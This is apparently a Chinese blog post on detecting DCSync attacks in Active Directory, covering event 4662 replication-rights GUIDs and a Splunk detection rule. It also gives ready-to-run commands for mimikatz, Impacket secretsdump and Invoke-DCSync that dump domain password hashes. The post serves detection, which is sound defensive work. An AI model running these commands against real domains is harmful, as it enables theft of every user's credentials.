基于AD Event日志识别DCSync攻击
01、简介
DCSync攻击是一种常见的域控攻击方法,利用DCSync导出域内用户的哈希值,本质上就是利用DRS(Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据,以便进一步进行利用。
02、DCSync攻击手法
(1)Mimikatz
Github项目地址:https://github.com/gentilkiwi/mimikatz/
使用方式:
#导出域内所有用户hash mimikatz.exe privilege::debug "lsadump::dcsync /domain:evil.com /all /csv" exit #导出指定用户Hash mimikatz.exe privilege::debug "lsadump::dcsync /domain:evil.com /user:administrator /csv" exit
(2)Impacket
Github项目地址:https://github.com/SecureAuthCorp/impacket
#导出域内所有用户hash secretsdump.py 'evil.com/bypass:abc123!@192.168.44.194' #导出指定用户Hash secretsdump.py 'evil.com/bypass:abc123!@192.168.44.194' -just-dc-user 'administrator'
(3)Powershell
Github项目地址:https://gist.github.com/monoxgas/9d238accd969550136db
#导出域内所有用户hash Invoke-DCSync -DumpForest | ft -wrap -autosize #导出指定用户hash Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
03、DCSync攻击检测
为了检测DCSync攻击,我们在域控上启用审核策略,通过安全事件日志识别DCSync的使用情况。
我们通过administrator 使用mimikatz进行DCSync导出指定用户Hash,在Windows安全日志可以很清楚的发现有两条EventCode:4662, 在Properties里面,有两条特殊的ACL权限:DS-Replication-Get-changes(Rights-GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)、DS-Replication-Get-Changes-All(Rights-GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2),administrator 对 Active Directory 对象执行操作,从而导出了域用户Hash。
我们可以根据日志提取关键特征,构建安全规则,
index=ad EventCode=4662 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} AND AccessMask=0x100 AND user!=*$ |stats earliest(_time) as start_time latest(_time) as end_time count by user | eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S") | eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S") | table start_time,end_time,user,count
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫